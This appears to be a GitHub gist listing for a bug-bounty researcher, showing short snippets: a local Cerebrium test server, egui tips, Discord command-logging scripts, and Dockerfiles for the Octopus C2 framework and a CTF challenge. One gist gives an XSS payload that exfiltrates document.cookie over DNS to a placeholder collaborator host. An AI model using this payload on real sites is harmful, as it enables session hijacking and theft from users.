Skip to content

Instantly share code, notes, and snippets.

View nongiach's full-sized avatar
💭
privesc

nongiach

💭
privesc
219 followers · 55 following
View GitHub Profile
@nongiach
nongiach / ceremrium_local.py
Last active May 11, 2023 11:45
Cerebrium script
# This script allows to simulate Cerebrium serverless in local for test purpose
# Author: @chaignc
# run me with
# uvicorn local:app --port 9000
from fastapi import FastAPI
from main import predict, PredictInput
import logging
import time
@nongiach
nongiach / index.html
Last active February 1, 2022 10:08
egui tips
<h1 id="egui-rust-widget-tipstricks">egui Rust widget tips/tricks</h1>
<p>create scroll widget within a window in Rust</p>
<ul>
<li><a href="https://docs.rs/egui/latest/egui/widgets/struct.SelectableLabel.html" class="uri">https://docs.rs/egui/latest/egui/widgets/struct.SelectableLabel.html</a></li>
</ul>
<h2 id="where-to-find-information">Where to find information?</h2>
<ul>
<li>Use the docs.rs search bar <a href="https://docs.rs/egui/latest/egui/" class="uri">https://docs.rs/egui/latest/egui/</a></li>
</ul>
<h2 id="widgets">Widgets</h2>
@nongiach
nongiach / README.MD
Last active January 24, 2022 20:12

Android ADB MindMap for BugBounty

@nongiach
nongiach / index.html
Last active January 24, 2022 20:10
<!DOCTYPE html> <html class="wf-katexcaligraphic-n4-active wf-katexcaligraphic-n7-active wf-katexams-n4-active wf-katexfraktur-n4-active wf-katexsansserif-i4-active wf-katexsansserif-n7-active wf-katexsansserif-n4-active wf-katexmain-i7-active wf-katexmath-i4-active wf-katexfraktur-n7-active wf-katexsize2-n4-active wf-katexmain-n7-active wf-katexmath-i7-active wf-katextypewriter-n4-active wf-katexsize4-n4-active wf-katexsize1-n4-active wf-katexscript-n4-active wf-katexmain-n4-active wf-katexmain-i4-active wf-katexsize3-n4-active wf-active"><!--
Page saved with SingleFile
url: http://localhost:44695/
saved date: Mon Jan 24 2022 21:01:43 GMT+0100 (Central European Standard Time)
--><meta charset=utf-8>
<meta name=viewport content="width=device-width, initial-scale=1.0">
<meta http-equiv=X-UA-Compatible content="ie=edge">
<title>Markmap</title>
<style>*{margin:0;padding:0}#mindmap{display:block;width:100vw;height:100vh}code[class*="language-"],pre[class*="language-"]{color:black;background:none;text-shadow
@nongiach
nongiach / love is love
Created June 1, 2020 01:16
b5603d19a31cd29e1b68ba599f21c51e
love two
@nongiach
nongiach / xssdnss.md
Created December 27, 2019 00:13

Bellow to exfiltrate cookie over DNS when doing XSS

<script> document.location = "//" + btoa(document.cookie).replace(/[A-Z]/g, '$&.').replace(/=/g, 'X') + "I." + "YourBurpCollaborator"; </script>

Bellow to decode the cookie, make sure to ignore the I. at the end and replace the x with = at the end

atob("Your_Receveived_DNS".replace(/(.)./g, (_,x)=>x.toUpperCase()))

@nongiach
nongiach / discord.sh
Last active January 8, 2022 17:32
# Author: @chaignc
# Two commands in this script:
# record2discord => send all typed bash command to your discord channel, see bellow for the blacklist
# last2discord => send the last typed command to your discord channel.
DISCORD_WEBHOOK_URL="Your_Discord_WebHook_URL" # UPDATE this with your web hook (take 2 minutes and read about this online)
_send2discord() {
# Blacklist some commands
[[ ! $BASH_COMMAND =~ .*autojump.* ]] && \
@nongiach
nongiach / discord.sh
Created December 23, 2019 12:29
DISCORD_WEBHOOK_URL="Your_Discord_WebHook_URL"
_send2discord() {
# Blacklist some commands
[[ ! $BASH_COMMAND =~ .*autojump.* ]] && \
[[ ! $BASH_COMMAND =~ ^ls.* ]] && \
[[ ! $BASH_COMMAND =~ ^.?vim.* ]] && \
[[ ! $BASH_COMMAND =~ ^cat.* ]] && \
curl -H "Content-Type: application/json" -X POST \
-d "{\"username\": \"chaignc\", \"content\": \"\`\`\`$BASH_COMMAND\`\`\`\"}" \
@nongiach
nongiach / Dockerfile
Created December 12, 2019 04:44
FROM python:3.7
RUN apt update -y && apt install mono-devel -y
RUN git clone https://github.com/mhaskar/Octopus && \
cd Octopus && \
pip3 install -r requirements.txt \
&& rm -rf /var/lib/apt/lists/*
@nongiach
nongiach / Dockerfile
Created December 11, 2019 14:44
FROM ubuntu:xenial
# http://phusion.github.io/baseimage-docker/
RUN apt update && apt install -y socat
# This ubuntu is required because we need a very specific version of glibc2.23
# FROM phusion/baseimage:0.11
RUN useradd -ms /bin/bash ctf
USER ctf
COPY ./chall /chall